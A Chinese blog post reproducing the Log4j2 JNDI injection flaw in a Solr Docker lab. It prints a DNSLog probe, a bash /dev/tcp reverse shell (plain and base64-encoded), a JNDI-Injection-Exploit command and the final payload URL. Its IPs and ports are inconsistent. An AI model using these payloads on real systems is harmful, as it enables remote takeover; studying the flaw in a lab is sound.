log4j复现

0x00 log4j

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

0x01 ldap和rmi

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读写性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。

简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

0x02 原理

假如某一个Java程序中,将浏览器的类型记录到了日志中:

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);

网络安全中有一个准则:不要信任用户输入的任何信息。
这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。
假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:

${jndi:ldap://127.0.0.1/exploit}

接下来,log4j2将会对这行要输出的字符串进行解析。
首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。
进一步解析,发现是JNDI扩展内容。
再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。
最后,调用具体负责LDAP的模块去请求对应的数据。
但问题就出在还可以请求Java对象!
Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。
如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。
image.png

0x03 复现

启动docker环境

docker-compose up -d   

查看一下启动的环境端口

docker-compose ps 

image.png
访问ip地址http://192.168.131.128:8983/
image.png

通过抓包发现了传参的位置
image.png

http://192.168.131.128:8983/solr/admin/cores

image.png
用dnslog平台检测dns回显,看看有没有漏洞存在
image.png

http://192.168.131.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.fq6ihr.dnslog.cn}

image.png
返回刚才的DNSLog平台,点击刷新记录Refresh Record(可能比较慢,不要着急,可以多点几次Refresh Record),可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。

既然发现了漏洞,就开始利用
我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

然后对这个反弹shell进行base64编码
image.png

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

然后启动注入工具

java -jar /home/re3sry/Desktop/JNDI-Injection-Exploit-master/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.131.128"

image.png

同时监听6666端口,因为shell里面写的是6666端口
image.png
然后构造playload:

http://192.168.131.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.131.128:1389/Exploit}

image.png
也是当然的拿到了shell
image.png

posted @ 2023-06-10 15:42  MeetA  阅读(119)  评论(0)    收藏  举报